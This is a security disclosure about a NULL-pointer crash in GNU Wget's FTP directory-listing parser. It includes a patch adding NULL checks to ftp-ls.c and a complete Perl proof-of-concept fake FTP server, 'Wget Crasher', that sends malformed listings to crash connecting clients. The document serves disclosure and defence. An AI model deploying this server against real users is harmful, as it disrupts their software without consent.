Hello, I have found that it's possible for a malicious FTP server to crash GNU Wget by sending malformed directory listings. Wget will parse them without checking if they are written in the proper format. It will do a fixed number of strtok() calls and then atoi() calls, and with the wrong format, atoi() will dereference NULL, leading to a crash.
This affects 1.9.1, the latest CVS version and some older stable versions. I have attached a patch against 1.9.1 that will correct this, and a little fake FTP server that exhibits this problem when Wget connects to it. The server should be started from inetd or xinetd. My inetd.conf line looks like this: ftp stream tcp nowait metaur /usr/bin/perl perl /path/to/wget-crasher.pl // Ulf Harnhammar http://www.advogato.org/person/metaur/
--- src/ftp-ls.c.old 2003-09-15 00:04:12.000000000 +0200 +++ src/ftp-ls.c 2004-11-05 17:34:47.000000000 +0100 @@ -454,11 +454,14 @@ /* First column: mm-dd-yy. Should atoi() on the month fail, january will be assumed. */ tok = strtok(line, "-"); + if (tok == NULL) continue; month = atoi(tok) - 1; if (month < 0) month = 0; tok = strtok(NULL, "-"); + if (tok == NULL) continue; day = atoi(tok); tok = strtok(NULL, " "); + if (tok == NULL) continue; year = atoi(tok); /* Assuming the epoch starting at 1.1.1970 */ if (year <= 70) year += 100; @@ -466,8 +469,10 @@ /* Second column: hh:mm[AP]M, listing does not contain value for seconds */ tok = strtok(NULL, ":"); + if (tok == NULL) continue; hour = atoi(tok); tok = strtok(NULL, "M"); + if (tok == NULL) continue; min = atoi(tok); /* Adjust hour from AM/PM. Just for the record, the sequence goes 11:00AM, 12:00PM, 01:00PM ... 11:00PM, 12:00AM, 01:00AM . */ @@ -497,7 +502,9 @@ directories as the listing does not give us a clue) and filetype here. */ tok = strtok(NULL, " "); - while (*tok == '\0') tok = strtok(NULL, " "); + if (tok == NULL) continue; + while ((tok != NULL) && (*tok == '\0')) tok = strtok(NULL, " "); + if (tok == NULL) continue; if (*tok == '<') { cur.type = FT_DIRECTORY; @@ -678,6 +685,7 @@ /* Third/Second column: Date DD-MMM-YYYY. */ tok = strtok(NULL, "-"); + if (tok == NULL) continue; DEBUGP(("day: '%s'\n",tok)); day = atoi(tok); tok = strtok(NULL, "-"); @@ -695,11 +703,13 @@ /* Uknown months are mapped to January */ month = i % 12 ; tok = strtok (NULL, " "); + if (tok == NULL) continue; year = atoi (tok) - 1900; DEBUGP(("date parsed\n")); /* Fourth/Third column: Time hh:mm[:ss] */ tok = strtok (NULL, " "); + if (tok == NULL) continue; hour = min = sec = 0; p = tok; hour = atoi (p); @@ -730,10 +740,12 @@ /* Skip the fifth column */ tok = strtok(NULL, " "); + if (tok == NULL) continue; /* Sixth column: Permissions */ tok = strtok(NULL, ","); /* Skip the VMS-specific SYSTEM permissons */ + if (tok == NULL) continue; tok = strtok(NULL, ")"); if (tok == NULL) {
#!/usr/bin/perl -- # Wget Crasher 0.1.0 - fake FTP server that crashes GNU Wget # by Ulf Harnhammar in 2004 # I hereby place this program in the public domain. use strict; use Socket; @main::port = (0, 0, 0, 0, 0, 0); $main::loggedin = 0; sub mysend($) { print "$_[0]\015\012"; } # sub mysend($) sub myreceive($) { my $inp = ''; $inp = <STDIN>; $inp =~ tr/\015\012\000//d; $_[0] = $inp; } # sub myreceive($) $|++; mysend('220 Welcome to Wget Crasher 0.1.0 !!'); while (1) { my ($str, $savestr, $reststr) = ('', '', ''); myreceive($str); $savestr = $str; $str =~ s|^([A-Z]+) *(.*)$|$1|; $reststr = $2; if ($str eq 'USER') { mysend('331 Anonymous access allowed, send identity (e-mail name) '. 'as password.'); $main::loggedin = 1; next; } if (($str eq 'PASS') && ($main::loggedin == 1)) { mysend('230 Anonymous user logged in.'); $main::loggedin = 2; next; } if ($main::loggedin < 2) { mysend("500 '$savestr': Command not understood."); next; } if ($str eq 'SYST') { mysend('215 Windows_NT'); next; } if ($str eq 'PWD') { mysend('257 "/" is current directory.'); next; } if ($str eq 'TYPE') { mysend("200 Type set to $reststr."); next; } if ($str eq 'PORT') { if ($savestr !~ m|^PORT ([0-9]+),([0-9]+),([0-9]+),([0-9]+),([0-9]+),([0-9]+)$|) { mysend('500 Invalid PORT command.'); next; } @main::port = ($1, $2, $3, $4, $5, $6); mysend('200 PORT command successful.'); next; } if ($str eq 'LIST') { my ($remote, $port, $addr, $adddr, $tcp) = ('', 0, 0, 0, 0); if (($main::port[0] == 0) && ($main::port[1] == 0) && ($main::port[2] == 0) && ($main::port[3] == 0)) { mysend('425 Unable to build data connection: Invalid argument.'); next; } mysend('150 Opening BINARY mode data connection for /bin/ls.'); $remote = "$main::port[0].$main::port[1].$main::port[2].$main::port[3]"; $port = (256 * $main::port[4]) + $main::port[5]; $addr = inet_aton($remote); $adddr = sockaddr_in($port, $addr); $tcp = getprotobyname('tcp'); socket(SOCK, PF_INET, SOCK_STREAM, $tcp); if (!connect(SOCK, $adddr)) { mysend("425 Can't open data connection."); next; } select SOCK; $| = 1; select STDOUT; foreach my $i (1 .. 15) { print SOCK '2004 '. "Wget Crasher 0.1.0\015\012"; } close SOCK; mysend('226 Transfer complete.'); next; } if ($str eq 'QUIT') { mysend('221 Thanks for using Wget Crasher 0.1.0 !'); exit 0; } mysend("500 '$savestr': Command not understood."); } # while 1 __END__